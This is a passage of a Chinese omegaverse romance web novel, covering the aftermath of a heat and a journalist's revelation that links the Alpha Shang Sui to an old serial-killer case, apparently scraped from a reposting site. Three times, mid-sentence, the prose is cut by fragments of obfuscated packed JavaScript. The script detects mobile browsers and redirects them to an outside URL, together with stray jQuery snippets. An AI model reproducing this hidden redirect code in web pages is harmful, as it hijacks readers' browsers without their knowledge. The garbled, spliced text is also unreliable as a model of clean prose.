既然喜欢他被锁着,那就再等一会儿。 就当是给商随好好表现的奖励。 听见他的回答,商随眼神闪了一闪:“那我帮你上药?” 时绮点点头,撑着身体半坐在枕头堆里,又曲起膝盖,方便另一个人到床上来。 商随给他用的是固体的凝胶类药物,会因体温慢慢融化。 上药过程中,冰凉的触感令时绮略微挣扎,双脚的锁链伴随他的动作发出窸窸窣窣的声响。 时绮略微蹙眉,对药物表现出些许排斥。 “不舒服,”身上的标记令他本能地对商随感到依赖,任性地提出要求,“亲一下。” Alpha听话地靠过来,低头含住他的唇瓣。 时绮情不自禁伸出胳膊,正想环上他的肩膀,这才注意到自己双臂也残留有桃花似的痕迹。 商随到底在他身上留了多少吻痕? 但很快的,时绮来不及思考更多。 嘴里软绵绵的触感令他浑身酥麻,商随勾着他亲吻,灵活的手指滑上他的脊背,熟练地找到对时绮来说最舒服的位置,慢慢抚摸。 时绮不知不觉放松下来,药物逐渐融化。 他迷迷糊糊嘀咕:“好多水。” 黏黏糊糊的,不喜欢。 商随笑了一下,意有所指:“现在可不算多。” 昨晚到最后,时绮意识不清开始说胡话,说自己想吃蜂蜜。 明明什么都吃不下去,却缠着他索要食物,简直像是某种香艳的梦境里才会出现的精怪。 商随见他神色茫然,轻舔一口Omega饱满的唇瓣:“宝宝,你昨晚像个小喷泉。” 时绮莫名其妙:“我昨晚又没上药。” 商随笑得止不住,眼角眉梢好似染上春色。 时绮怔然地望着他,仿佛被勾住一般,铃兰的香气不受控制溢出。 半晌过后,时绮倏然觉得不对。 被美色迷惑的大脑慢半拍地转动,察觉到商随笑这么好看是在对他开黄腔,时绮恼怒地推了他一把:“你脑子里装的什么骚东西!” 商随没有抵抗,顺势往后倒。 他的睡袍带子系得松松垮垮,很快散开,时绮这才注意到他身上有不少抓痕,从宽阔的肩膀一路延伸至紧致的腹部。 好像有几道还破了皮。 时绮看了好几眼,不免心虚。 注意到他的视线,商随立即顺杆子往上爬:“小绮好粗鲁,都把我抓疼了。” 即使明白他大概率是在装柔弱,时绮还是道:“那我也给你上个药?有没有什么治抓伤的。” “不用,”商随说,“你亲一遍就不疼了。” 时绮难以言喻地看了他一眼,唇瓣微动,商随猜测可能是想问他是不是有病。 但到最后,时绮什么都没说。 真是乖孩子。 想到这里,商随目光转动,注意力不知不觉被时绮腿上的铐链吸引。 他伸手扯了一下,神情愉悦地评价:“猫链子。” “……”神经病。 他不理人,商随却来了劲,用锁链绕过他的腿,又轻轻在他的小腿肌肤上画圈:“小猫宝宝,你喜欢什么样的链子?下次换红色怎么样,会很衬你的肤色。” 商随的语气黏黏糊糊,令时绮联想到自己社交账号下的留言。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632873|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在他恋爱之前,大多数粉丝都对他宝宝长宝宝短,时不时问他喜欢什么颜色的麻袋。 “看我心情,”时绮说,“如果你下次能让我高兴,就随便你。” 时绮补了一句:“不是你的话,我才不要被这种东西困住。” 商随手指顿住,抬头看他。 先前那股病态的劲头退去,像是被时绮不经意说出的话戳中,商随眸光盈盈:“小绮……” 一大早商随的情绪便格外充沛,一个人就能演完一出情景剧。 时绮实在没法再和他折腾,往后一躺:“我想再睡一会儿。” 他抬腿轻轻勾了一下Alpha的肩膀,既像撒娇又像命令:“你上来,陪我睡觉。” 商随乖乖答应一声。 他的头发还没干透,没像时绮一样睡下,而是半躺在一旁。 像是知道时绮喜欢什么,商随自觉地放出了一点儿甜蜜馥郁的信息素,手臂一揽,将他整个带入怀中。 时绮顺势缩进他怀里,忽然想到什么:“你说,沈千俞和江砚现在怎么样?” 沈千俞帮了这么大一个忙,时绮不禁喃喃:“不知道他们和好没有。” “你还挺关心。”商随笑笑,“先睡吧,睡醒我去问问。” 时绮点点头,把头埋进他的胸口,听见他沉稳有力的心跳。 商随有一搭没一搭轻轻拍他的背,哄着时绮入眠。 他先前注意力都在时绮身上,没来得及管别人的事情。 现在想想,时绮五天前把沈千俞的地址发给江砚,那晚正好是雷雨夜。 该说不说。 时绮还真是给沈千俞送了一份大礼。 - 轰然作响的雷鸣划破寂静,室内画面短暂变为黑白。 沈千俞尝试给自己倒酒,却半天不见动静,慢半拍发现手边的酒瓶空空如也。 他揉了揉太阳穴,才看见桌上摆着好几瓶被喝空的威士忌。 他鲜少酗酒,近些日子他和江砚断掉联系,不得已用酒精麻痹神经。 或许是因为窗外令人生厌的雷雨、又或许他心情糟糕到极点,埋藏在脑海深处的记忆不受控制浮现。 八年前,他和母亲在海城旅游,下山时突逢暴雨,有人主动将车停在路边。 车主是个样貌儒雅的中年人,看起来像是Beta,言谈举止间透出一股奇异的亲和力,轻而易举便能获取他人信任。 沈千俞后来才知道,那是海城连环杀人案的凶手。 那股诡异的亲和力,则是精神操控的结果。 往日他不会轻易相信陌生人,但在那一天,他稀里糊涂和母亲一起上了车。 再醒来时,他被麻绳束缚手脚,关在地下室里,母亲在一旁昏迷。他依稀听见外界雷声大作。 他似乎被注射了镇定类的药物,头脑不甚清醒,只能看见不远处昏黄的灯光和两道对峙的人影。 “两个人中选一个,只要你随便剁掉一根手指,我就让他们多活一天。” 那道说话的声音有几分耳熟,沈千俞反应过来,是让他们搭便车的车主。 与先前温和儒雅的模样不同,他的语气激昂亢奋,沈千俞闻到快要炸开的信息素,这才意识到对方是个伪装成Beta的Alpha。 “整整十根手指,这对母子能多活十天,怎么样?很划算吧!” 另一道身影似乎是个少年,沈千俞听见他不断拒绝,却被步步紧逼,Alpha抓住他的肩膀循循善诱: “你可是帮忙续命的大恩人,他们死了都会感谢你的!” 属于Alpha的信息素极为霸道,是一种带着血腥气的腐肉味,即使相隔一定距离,也令人遍体生寒。 少年被信息素压制,终于崩溃道:“别动他们,你剁我的手吧!” “身为同类,我不会伤害你。”Alpha稍作停顿,“但你不愿意,我只能杀了他们。” 少年声音颤抖:“……不,不行!!” “要不要问问他们的意见?”Alpha笑着说,“是愿意被剁掉手指,还是愿意就这么死掉?” 见他不说话,Alpha骤然拔高声音,冷酷而狂热地说:“问问吧!小少爷,可不是人人都和你一样高人一等,生来就有主宰他人生死的权利!” “作为被屠戮那一方,以往他们都别无选择。” 沈千俞隐约感觉到有人一步步走近,将刺骨的冷水泼在他脸上。 他被迫清醒过来,勉强看清楚周围的场景。 他听见Alpha补完后半句:“当然啦,我们偶尔可以听听这些家伙在想什么。” 他被人一把抓住头发。Alpha像对待畜生,毫无怜悯之意,恶魔般的眼睛从沈千俞脸上掠过:“小子,你想怎么选?” 比起和他说话,Alpha更像在逼迫另一个人。 不远处的少年因为信息素压制神情苍白,他跪在地上,嘴角带着血丝。 四目相对,沈千俞在少年眼中看见压抑的愤怒和濒临爆发的绝望。 那是他第一次见到商随。 …… …… 叮咚、叮咚—— 有人在外面按门铃,边拍门边喊: “商随?商随你在吗?” 半天等不到动静,电话又打不通,江砚终于怒道:“这人怎么不接电话啊,素质好差!” 他气得絮絮叨叨,房门从里面骤然拉开。 江砚欢喜道:“你终于开门——” 看清楚来人,他表情一僵。 江砚和沈千俞对视须臾,只觉得浑身冒出鸡皮疙瘩。 不等他往后退,手臂被人一把攥住。 沈千俞的信息素和浓重的酒味混在一起,接骨木冷淡自持的味道显出快要失控的狂热。 黑暗中闪电撕开夜幕,雷鸣持续不绝。 沈千俞目不转睛注视他,蓦然一笑。 偏偏在他厌恶的雷雨夜送上门…… 真是一份大礼。 江砚被攥住手腕,逃脱不能,只得干巴巴地和他打招呼: “那什么,晚上好?” 61.噩梦 时绮醒来时,天色接近傍晚。 商随坐在他身边玩手机,似乎在和人聊天。 “睡醒了?” 商随敏锐注意到身边的视线,扭头见时绮望向自己,眼里流露出些许好奇。 商随自觉地把手机给他看:“沈千俞让我谢谢你。” 时绮扫了一眼,看见他们两兄弟精彩的聊天记录。 Ss:[江砚还活着吗?] Ss:[你不要太过分,欺负傻子犯法。] 沈千俞:[在我旁边睡觉。] 沈千俞:[是你让他过来的?] Ss:[不,是全世界最善良可爱美丽体贴的宝宝。] 商随打下那一长串限定词后,特意强调: Ss:[我家的。] 沈千俞:[替我谢谢时绮。] 时绮:“……” 时绮看到这里,把手机扔给他:“以后在外面就这么宣传我。” 商随不禁笑起来。时绮起床洗漱,商随亦步亦趋跟在他身后。 像尾巴。 时绮心想。 半晌过后,尾巴不甘寂寞说了话:“我可以给你选衣服吗?” 时绮身上只穿了一件睡衣,光着腿走来走去,闻言抬眼看他:“你那半柜子女装?” “我还有一柜子男装。” 商随边说边拉开次卧的衣柜,时绮扫了一眼,目光顿住。 考虑到祁江的气候,柜子里基本是春夏季的衣服。 衣柜左侧放着各种颜色材质的衬衫和T恤、半透明的罩衫、印花卫衣、镂空针织衫。 另外一侧挂着下装,大多是破洞牛仔裤和阔腿裤,细心搭配了不同的金属链条和皮带。 衣饰的颜色和款式一看就写了商随的名字,但是…… “是我的尺码?” 商随点头。 这么多衣服显然不是一时半会儿能买齐的,时绮忍不住问:“你多久买的,怎么不告诉我?” “看见漂亮的会顺手买一件,想找合适的理由送你。后面谈了恋爱越买越多。” 最开始不提是时绮只爱穿黑白两色,他挑的都是彩色,到后来给时绮买衣服成了习惯,他自己都快忘记这件事。 这次来祁江度假,才想着从家里带一些过来。 “你想穿吗?” “你干嘛这么小心,”时绮见他问得小心翼翼,直接回答,“你挑的我都穿。你选吧,我去洗脸。” 离开之前,时绮想到什么,又转过头。 他稍微踮起脚,亲了一口Alpha的脸颊。商随闻到铃兰清澈纯美的香气,听见时绮轻声说: “谢谢你给我买衣服。” 见商随愣在原地,时绮不由得笑起来。 想到虞晚也是一见面给他买了一大堆礼物,时绮猜测,商随这一点应该是遗传自妈妈。 喜欢谁就要给谁买东西。 商随忽然叫住他:“小绮,等一下。” “嗯?” “你睡觉的时候,我找沈千俞问了腺体退化症。” 脱口而出之后,商随望着他明亮的眼睛,指尖不知不觉掐进掌心:“他告诉我,你的时间不多了。” 问过沈千俞,他才知道被时绮轻描淡写说出来的病症远比想象中触目惊心。他不敢想象时绮一直承受着如此巨大的压力,既心疼又难过。 沈千俞告诉他,腺体退化症往往伴随各种并发症,最常见的便是失眠。 听完这句话,商随第一时间想到时绮喜欢在他的陪伴下入睡,每次都会和他贴得紧紧的。 原来除了喜欢和他亲近,还因为他的信息素能够缓解失眠。 那在他们重逢之前呢,时绮独自度过了多少个夜不能寐的晚上? 从十四五岁那年得知自己的寿命只有常人的一半,在失眠的夜晚注视黎明一点一点到来、却摆脱不了如影随形的病症,每当那种灰心丧气到不想动弹的时刻,时绮都在想什么? 甚至因为立场不同,连最亲近的家人也与时绮怀有不同的想法。 “他还说,你需要高匹配度的Alpha终生标记才能治病。” 时绮嗯了一声:“所以呢?” 见时绮波澜不惊,商随的心跳越来越快。 他既害怕谈到这件事令时绮伤心,又担心再拖下去耽误最后的期限。 在这些复杂的情绪下,还有他说不清道不明的私心。 如果他再勇敢一点,陪着时绮长大…… 转念一想,这个想法似乎太过自作多情,就算他们从未分开,时绮也未必要选择他。 “你可以考虑我吗?” 时绮没有第一时间回答。 他清透的双眸犹如一面镜子,不偏不倚对上商随的目光:“你是因为想帮我治病,还是有私心,想给我做永久标记?” 他的问题堪称尖锐,商随在他的注视下动了动唇:“我……” 他没办法撒谎。 他心疼时绮遭遇的一切,如果可以,恨不得代替对方承受折磨。 从那年夏天起,时绮是拯救他的人、亦是他的软肋。 但如果说自己没有任何私心、不想在时绮身上留下永远无法抹除的标记,那才是冠冕堂皇的假话。 “你还记得吗?最初找你假扮情侣,我的理由是家里逼我谈恋爱。”时绮主动开口,“但那不是真正的原因。” “如果我不愿意,就算他们说一千道一万,我也不愿意。” “我那时不太明白,只是直觉想这么做,现在想来,是因为我对你怀有私心。” “比起可怜我、或者想帮我治病,我更希望你和我一样。” 因为爱本就是与欲望紧密相连的东西。 时绮上前一步,作势要触碰他的脸:“如果我找其他人,或者干脆不治病,你会疯掉吧?” 在被他触碰到之前,商随一把抓住他的手。 “不要,”Alpha浅褐色的眼瞳聚缩一瞬,信息素溢出,无意识喃喃,“不要找别人,也不要离开我。” “那就说出来。”时绮任由他紧紧攥住自己的手,“不够体贴也没关系,听起来贪心也无所谓,因为我喜欢你这样。” 就像你想占有我一样。 我也喜欢你充满欲望的脸。 “我想……”商随着魔一样望向他,不受控制地说,“我想给你做永久标记。” 不仅如此,还想和你结婚,想永远和你在一起。 “知道了。”时绮眼眸弯起,先前咄咄逼人的气势消失不见,如同冰雪消融,“等到合适的时候,我会考虑的。” 他说完抽出手,径直转过身,也不管商随是什么反应。 过了许久,时绮才意识到,自己唇边一直带着笑。 都说特殊易感期的Alpha危险,可这一个明明很听话啊? …… 说起来。 如果要跟一个Alpha求婚,需要准备什么? - 姜宥宁再次见到时绮,快要相隔一个星期。 中途时安因为担心联系过时绮一次,接电话的是商随,那边只简单说时绮到了发情期,暂时没办法回家。 姜宥宁见时安打电话后面色惨淡,还以为出了什么大事,问过之后,才知道时安担心时绮被永久标记。 姜宥宁想也不想:“那也没事吧,他俩标记不是迟早的事儿吗?” 想到刚才没说两句,时绮便在一旁叫商随的名字、似乎还要对方抱他,时安哽咽片刻:“再怎么也得等到婚后吧。” “严格说来,如果一个人心怀不轨,婚姻并没有实质性的约束作用。” 姜宥宁难得严肃地说完,又迅速转变画风:“所以呢,找Alpha一定得擦亮眼睛,要找很长情、很有责任心的类型。” 她说到这里一撩头发,冲时安抛了一个wink,“比如我。” 时安:“……” 姜宥宁顺口道:“不过换作是特易期,婚姻倒确实有约束作用。” 与一般Alpha不同,特殊易感期的Alpha必须有一位担保人,未婚状况下,担保人可以是亲人、朋友或拥有特定执照的医生,已婚状况下,担保人将自动由配偶担任。 如果婚后配偶指出特易期有异常表现,相应的监管机构将介入调查,严重会送入专门的收容所,等同于监狱。 时绮进门的时候,姜宥宁跟黎昭一起缩在沙发上,正有一搭没一搭聊天。 黎昭处理完师父的后事,连夜飞来祁江,她神色困倦,半靠在姜宥宁怀里听她说话。 听见开门的动静,姜宥宁发出一声惊呼:“我天,宝宝——!” 黎昭闻言抬起头,眼前倏忽一亮。 时绮穿着淡紫撞鹅黄的镂空罩衫,这种奶呼呼的颜色在他身上格外合适。中长的水洗工装裤上系着双层腰带,露出一截细瘦的脚踝。 宽皮带将他的腰勒得细细的,另一条玫瑰金材质的系带松松打了个结,星月状的装饰垂落下来,精致又随性。 “你是要去走T台吗,好美好帅好养眼!” 姜宥宁往后看了一眼,商随穿着颜色相近的衬衫,松松垮垮的款式反倒突出了Alpha宽肩薄背的优势,一看就是情侣装。 她顿时明白是谁给时绮搭的衣服。 尽管颜色柔和,时绮身上那件罩衫款式却十分狂野,如果没有里面的内搭,上半身得被人看光。 透过破洞,姜宥宁看见他脖颈和肩膀上数不清的吻痕。 注意到时绮后颈明目张胆的标记,姜宥宁啧了一声。 咬这么深,够激烈啊。 姜宥宁看向商随,话里有话:“你挺有能耐的。” 商随笑笑,应下这句模棱两可的评价。 黎昭原本正犯困,看见时绮也精神起来。姜宥宁更是越看越高兴,到最后竟欣慰地假装抹眼泪:“呜呜呜!我上一次看你日常穿彩色得追溯到高中,虽然你一直不承认,但我总觉得当年给你留下了心理阴影。” 时绮正想叫她打住。 姜宥宁半是悔恨、半是回味道:“小时候姐姐不该骗你穿裙子,还给你拍了满满一相册的照片。” 不等时绮无言,商随自然而然问:“相册还在吗?” 时绮:“?” 这是人话吗? 黎昭见缝插针举手:“我也想看。” “在呀在呀!我还特意带了过来,小安爸爸当初洗了好几本照片,带来的这本是我的珍藏,里面有猫耳公主裙、各种发带和头饰,超级可爱!” 姜宥宁说着就要去翻行李箱,时绮立即阻止:“不要!” 他又对商随说:“你不准看。” 一想到商随有可能看见那些照片,时绮的羞耻心以前所未有的速度飞涨。 黎昭连忙问:“那我呢?” 迎着她期待的目光,时绮犹豫片刻:“小黎姐姐看吧。” 姜宥宁面露遗憾:“如果小绮不同意,那只能我跟黎昭看了。” 她刚这么说完。 商随贴近时绮,小声说了什么,姜宥宁看见时绮一愣,白皙的脸颊以肉眼可见的速度变红。 时绮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656815|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后低声道:“算了,随便你。” 姜宥宁惊奇地看着这一幕,只觉得商随是在念迷魂咒。 她忍不住问:“他跟你说什么呢?” “没什么。” 尽管神色平静,时绮脑中却一直不断播放商随的声音。 Alpha将音量压得低低的,如同恳求,柔软的音色无端透出引诱的味道:“我好想看。” “求你了,老公。” 什么老公啊,都没结婚,能乱叫吗? 商随真不要脸。 时绮在心里骂他,耳根却越来越热。 黎昭忽然道:“小绮,我有点事情想和你说。” 姜宥宁原本正要上楼拿相册,闻言折返道:“什么什么!还有我不知道的事吗?” 黎昭摇摇头,表示不方便告诉她。 “我们出去说?” 时绮答应下来,跟着黎昭起身。 - 前些天刚下过雨,日落之后气温下降,时绮在冷风中感到丝丝缕缕凉意。 他和黎昭站在小别墅的花园里,路旁灯光如流水般倾泻。 “听宥宁说,你和商随感情很好。”黎昭朝他笑笑,想起刚才的一幕幕,“虽然和你们见面的时间不多,但相处下来,我也这样认为。” 时绮点点头,心里有些奇怪。 他和黎昭认识多年,私下却没什么交集,也从没单独谈过话。 黎昭的声音犹如看似沉静的水面,其下暗藏汹涌:“那天在美术馆见到你们,我回去之后考虑了很久。” 仿佛某种冷酷的、灵光一现的预感。 时绮脑海中闪过上一次见到黎昭的场景,当时她提到自己在做特殊易感期相关的报道。 像是应和他的猜测,黎昭开门见山:“你知道商随是特殊易感期,对吗?” 时绮表情一变:“你怎么……!” “我是偶然得知,没有告诉其他人。” 黎昭见他神色不太好,连忙表示自己没有恶意:“最开始我很担心你不知道他的特殊之处,才侧面向你询问对于特易期的看法,听你说完,我猜你应该明白。” 时绮听到这里,稍微放松些许。 涉及到商随的秘密,时绮的表情变得认真起来:“小黎姐姐,你到底想说什么?” 当时提起海城连环杀人案,时绮并没有特殊的反应。黎昭犹豫片刻:“他身上背负着非常沉重的过往,你或许不知情。” 黎昭从随身携带的挎包里拿出一只薄信封,时绮扫了一眼,里面像装着纸张或照片一类的东西。 “我不知道该怎么处理它,原本想直接交给商随,又觉得太突兀,可能对他造成二次伤害。如果直接处理掉,似乎也不该由我来做这件事。” “我考虑很久,觉得你是最合适的人选。” 黎昭示意他拆开信封,时绮从中拿出一张照片,看得出来有些年头,但被保存得很好。 看清楚照片上的场景,时绮的瞳孔骤然聚缩。 “这、这是什么……?” 他听见自己发颤的声音。 “这张照片拍摄于八年前,是我师父的遗物。” 时绮想起来,前段时间姜宥宁确实提过黎昭的师父过世,对方在新闻领域颇有名望,出过许多家喻户晓的专题报道。 “我师父当年在跟踪海城连环杀人案,凶手被捕那一晚,除了警方和特易期的监管机构,还有一部分媒体也在现场。” 时绮喃喃重复:“连环杀人案?” 他握住照片的手指不由自主开始颤抖。 黎昭一直把时绮当弟弟看待,见他似乎太过冲击,有些不忍心再说下去。 但事已至此,她很快调整好情绪:“当年商随家里用了一些办法,竭尽所能将与他有关的消息压了下去,其中包括媒体拍下的所有资料。” “只有这一张被我师父私自留存。他的做法并不道德,我看过他的遗书,他认为它具有非同凡响故事性,犹如戏剧一般,也具有相当程度的新闻价值。” “我无法认同他的观点,即使这张照片在我看来同样不可思议,在这份故事性背后,是一个人真实的人生。” “我原本想处理掉它,但那天遇见了你们。” “老实说,见到商随的第一眼,我非常、非常震惊。他似乎也察觉到不对,只是没提出来。” 黎昭见时绮整个人僵硬在原地,有些不忍心再说下去:“照片中的两个人,一个是十五岁的商随,另一个是海城连环杀人案的凶手,曾羽。” 激烈的暴雨自漆黑天幕降落,警车红蓝交替的灯光闪烁不停,同远处掠过的雪色闪电互为映照。 周围密密麻麻的人群面容模糊不清,有人在嘶吼、也有人尖叫,一切宛如噩梦里的场景。 曾羽被警方逮捕,双手铐在身后,但在押上警车的过程中,他做出了一个惊人的举止,犹如某种诡异而邪恶的启示。 他大笑着,向浑身染血的少年跪了下来。 “当着所有人的面,曾羽向商随下跪,并说出一些具有误导倾向的话。” “审讯过程中,曾羽一直坚决指认商随,除此之外的问题一概胡言乱语。他当晚便在看守所自杀。” “警方在前两起案件的现场发现了与商随有关的物证,有他的头发,还有一颗校服上的纽扣。” “再加上商随同为特易期,在那之后……” 黎昭见时绮面色苍白,终于说出整个故事最为残忍的部分: “商随被怀疑为同伙,甚至有可能,他才是连环凶杀案的幕后主使。” 62.阴影 “怎么可能!” 时绮听到这里终于控制不住情绪,愤怒令他的眼瞳仿佛燃烧:“他明明才十五岁,他能做什么!” “因为商随是特易期。” 黎昭柔和的声音在此刻犹如坚冰,只是简单一句陈述,背后的含义却令时绮浑身发寒:“虽然说着性别平等,但社会始终对他们怀有偏见。” “精神变态、疯子、潜在杀人犯……你应该知道吧,这就是大多数人对特易期的评价。” “况且无论是现场遗留的物证还是曾羽死前的供述,全部指向商随。” “……” “不过幸好,当时海城的重案组对这起案件高度重视,前前后后经过为期一个月的调查,警方最终确认商随无罪。前两起案件现场出现的物证是曾羽蓄意谋划的结果。” “蓄意谋划?” 时绮不可思议地重复一遍。 一切过于荒谬,他难以想象连环杀人犯为什么会栽赃陷害一个小孩:“他到底为什么要这样做?” “我们猜测,曾羽可能想挑选商随作为继承人。”黎昭道,“特易期出现在Alpha当中的概率完全随机。普通Alpha与Omega结合后后代有极小概率为特易期,与此相应的,特易期的后代也只有极小概率是特易期。” “曾羽曾经有过孩子,但他的后代只是普通Alpha。他对此不满,抛妻弃子、改头换面来到海城。” 商随曾经被这种人当做孩子? 时绮感到一股强烈的恶心,握住照片的手指太过用力,关节开始泛白。 黎昭见他说不出话来,眼里掠过一丝担忧。她暂时停下讲述这段往事,轻声确认:“你还好吗,小绮?” “我没事。” 极端的愤怒之下,时绮反倒变得冷静。 一旦将看似古怪的表象拨开,哪怕是正常人无法理解答案,极有可能就是真相。 时绮整理好思绪,一字一句道:“所以曾羽从没希望警方将商随误认为从犯或真凶,他死前指认商随,只是想给商随留下终生的阴影。” 哪怕警方已经尽了全力,在这个过程中,商随无可避免要承受他人的质疑、猜忌、甚至于恶意。 如果被逼到崩溃,极有可能走上曾羽期望的道路。 既然社会容不下你、选择透过有色眼镜看待特殊易感期,你挨了那么多骂、承受过一次次冷眼,为什么不干脆把罪名坐实? “如果商随无法克服心理阴影,便可能崩溃,甚至成为第二个连环杀人犯;就算不会,曾羽也并不吃亏。” “他已经被捕,即使不自杀,也会被判处死刑。” 黎昭略显惊讶地看了时绮一眼,没想到他能在冲击之下快速冷静:“是这样没错。” 当年这起案件到后面完全封锁消息,她师父能知晓的信息有限,始终不明白曾羽为何针对一个少年。 他花了许多时间才陆陆续续拼凑出真相,时绮的反应却十分迅速。 时绮没注意到她流露出的赞许,只觉得有半腐烂的蛆虫自脚底蠕动着向上爬,一双双黑洞洞的眼眶透出不加掩饰的恶意。 时隔多年,他体会到更多的是深深的无力。 “为什么……”时绮不由自主喃喃,“为什么是他。” 商随当时都还没成年,全天下那么多特易期,曾羽偏偏挑中他—— 不,等等。 时绮倏忽想起一件事。 如果是这样……! 如果真的是这样。 时绮的手指一点一点变得冰凉,全身如坠冰窖。 他好像终于明白,商随为什么时不时展现出自卑自厌的一面,偶尔会在人群中表现得格格不入。 这是真正意义上无法被人知晓的秘密。 想明白这一点,时绮的手指先一步掐进掌心,他逼迫自己维持表情,避免展露出太过激烈的情绪。 黎昭没有发现他的异常,只摇摇头:“我也不明白,或许只是巧合?” “除了确切的调查结果,还有一件事对商随有利,在这个过程中,最后一起案件的受害者从曾羽手下逃生,他一直坚决站在商随这边。” 时绮脑海中划过零零碎碎的片段:去宁山医院看病那天,时安提过沈千俞和他的母亲是海城连环杀人案的最后目标。 江砚一直认为沈千俞和商随有共同的秘密,他们都十分厌恶雷雨天。 和江砚闲聊时,后者提到过,沈千俞当初毫不犹豫选择医学专业,读研期间用最快的速度拿到特易期的心理测评执照,之后担任商随的私人医生。 江砚那时候脑子没开窍,误以为沈千俞暗恋商随。 现在想来,沈千俞会坚定不移站在商随这边,只因为商随是他的救命恩人。 “那个人姓沈吗?” “是的,”黎昭回答,“他现在是宁山的副院。也因为这件事,其他受害者的家属都对他十分感激。” “实际上,而且根据那位副院的描述,商随才是制服凶手的那一个。”黎昭稍微停顿,同样为他的遭遇感到惋惜: “他本应该得到英雄一般的赞誉。” “当初有不少媒体都在关注这件案子,我师父跟得最紧、了解的内情也最多,他收到提醒,最后只将宁山那位副院的部分报道出去,在整件事情中抹除商随的存在。” “出于对商随的保护、也是他自己做出的选择,警方与商家商议过后,选择隐瞒与商随有关的全部信息。” 黎昭将自己知晓的内容全部托出,再次示意时绮手里的照片:“除了警方留存的资料,这应该是世上最后一张表明商随与海城连环杀人案有关的影像。” “你和他关系特殊,怎么处理由你决定。” 时绮一言不发将照片放入信封,许久后才开口:“我知道了,谢谢。” 他看向黎昭,郑重其事道:“请你替他保密。” “当然,这原本就是他的隐私。”黎昭面露歉意,“你们谈好之后,如果可以,我想代替师父向他道歉。” “非常抱歉,当年明明答应了商随家里的要求,我师父却私下留存这张照片。” 时绮没有说话。 他不喜欢把情绪迁怒给他人,况且黎昭与这件事完全无关,可是…… 他们到底把商随当成什么? 潜在嫌犯?活生生的新闻素材? 黎昭见时绮情绪不太好,安慰道:“和他谈一谈吧,你对他来说很重要,我相信他愿意把一切告诉你。” 时绮低声说:“我要先好好想一想。” 他暂时没想好该怎么处理这张照片。如果是他自己,他就烧掉,但这是商随的过去。 短时间内接触到的信息太多,时绮甚至不知道该怎么开口。 六年前他和商随在祁江相遇,对方身边带着数名保镖,现在想来,是商随家里害怕他再度遭遇不幸。 最开始和商随接触,他总是表现得沉默寡言,仿佛活在自己的世界里。偶尔有时候,商随流露的神情会令人联想到枯死的花。 千灯节那晚,他说自己不太擅长和人打交道、很久没跟陌生人接触过。 还有他一直以来厌恶的雷雨天。 八年前的遭遇……究竟给商随留下了多大阴影? 时绮闭了闭眼,又慢慢睁开。 见时绮要离开,黎昭在最后鼓起勇气开口:“小绮,等一等!” “海城连环杀人案很大程度加重了大众对特易期的偏见,但事实上,当年制服特易期的是另一个特易期。” 她显然也十分犹豫,见时绮停下脚步,才继续道:“时隔太多年,商随或许早就不在乎这些。但要是他愿意,我想重新为他做一次报道。” “大众对特易期的印象根深蒂固,发出后或许只能石沉大海,可我想……至少在这一篇报道里,他能够脱离偏见,得到应有的赞誉。” 商随目不转睛凝视相册上的画面。 一旁的姜宥宁双手捧脸,一脸幸福道:“很可爱吧!这是唯一一张长头发的!就那一次,小绮被我和小安爸爸哄着戴了假发。” “之后他就没那么好骗了。”姜宥宁满脸遗憾。 照片上的男孩穿着蓝粉二色的洋装,姜宥宁替时绮编了一只大大的麻花辫,上面装饰十多只小小的蓝丝绒蝴蝶结,多余的黑长发披散在背后,因为年纪小,几乎看不出性别。 姜宥宁选的假发很长,快到时绮的大腿,他深灰色的眼睛水汪汪的,猫一样上挑,整个人犹如精雕细琢的洋娃娃。 商随往后翻,下一张照片里时绮似乎察觉到不对,略微抿起唇,不太高兴看向镜头。 与先前繁复的打扮不同,时绮只穿了一条白色的蓬蓬纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671070|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙,他跪坐在毛茸茸的地毯上,薄纱质的裙摆散开,双臂合拢抱着一只咖啡色的布偶熊,似乎在闹别扭。 商随不由自主睁大眼睛:“好可爱。” “是吧是吧!这是小绮最后一次穿女装。那天是我的生日,我缠着他许愿,他才勉为其难同意。” “他当时还瞪我,下一秒又觉得不太好,最后索性一直不说话。可爱死了我们宝宝,真的特别特别萌!” 商随适时道:“像小天使。” “对对,就是这样!” 姜宥宁神色欣慰,给了商随一个“你真有品”的眼神。 两个Alpha围在一起看完相册,翻到最后一张,都觉得意犹未尽。 商随注意到她手边还有一个本子。 “这本不是吗?” 那是一只蓝色皮质本,上面装饰有明黄色的小猫刺绣。 姜宥宁摇摇头:“这好像是小绮以前的日记本,我不小心一起带了过来,我等会儿交给他。” 话音刚落,他们谈论的对象推门而入。 